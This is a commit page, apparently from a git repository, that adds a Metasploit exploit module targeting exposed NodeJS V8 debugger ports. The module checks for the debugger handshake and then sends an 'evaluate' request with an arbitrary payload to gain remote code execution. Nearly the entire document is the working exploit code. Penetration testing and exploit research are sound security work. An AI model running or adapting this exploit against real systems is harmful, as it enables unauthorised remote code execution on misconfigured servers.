initial commit of nodejs debugger eval exploit
parent
be66ed8af3
commit
d71f7876b8
|
@ -0,0 +1,89 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
|
||||||
|
MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n"
|
||||||
|
MESSAGE_TEMPLATE = '{"seq":1,"type":"request","command":"evaluate","arguments":{"expression":"%{payload}","global":true,"maxStringLength":-1}}'
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "NodeJS Debugger Command Injection",
|
||||||
|
'Description' => %q{
|
||||||
|
This module uses the "evaluate" request type of the NodeJS V8
|
||||||
|
debugger protocol (version 1) to evaluate arbitrary JS and
|
||||||
|
call out to other system commands. The port (default 5858) is
|
||||||
|
not exposed non-locally in default configurations, but may be
|
||||||
|
exposed either intentionally or via misconfiguration.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],
|
||||||
|
[ 'URL', 'https://github.com/nodejs/node/pull/8106' ]
|
||||||
|
],
|
||||||
|
# 'Platform' => ['node'],
|
||||||
|
# 'Arch' => [ ARCH_NODEJS ],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => "Aug 15 2016",
|
||||||
|
'DefaultTarget' => 0)
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(5858)
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_eval_message
|
||||||
|
escaped_payload = payload.encoded.gsub(/"/, '\\"')
|
||||||
|
msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload}
|
||||||
|
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
|
||||||
|
return msg_header + msg_body
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
connect
|
||||||
|
res = sock.get_once
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
if res.include? "V8-Version" and res.include? "Protocol-Version: 1"
|
||||||
|
vprint_status("Got debugger handshake:\n#{res}")
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
connect
|
||||||
|
# must consume incoming handshake before sending payload
|
||||||
|
buf = sock.get_once
|
||||||
|
msg = make_eval_message
|
||||||
|
print_status("Sending #{msg.length} byte payload...")
|
||||||
|
vprint_status("#{msg}")
|
||||||
|
sock.put(msg)
|
||||||
|
buf = sock.get_once
|
||||||
|
|
||||||
|
if buf.include? '"command":"evaluate","success":true'
|
||||||
|
print_status("Got success response")
|
||||||
|
elsif buf.include? '"command":"evaluate","success":false'
|
||||||
|
print_error("Got failure response: #{buf}")
|
||||||
|
else
|
||||||
|
print_error("Got unexpected response: #{buf}")
|
||||||
|
end
|
||||||
|
|
||||||
|
handler
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue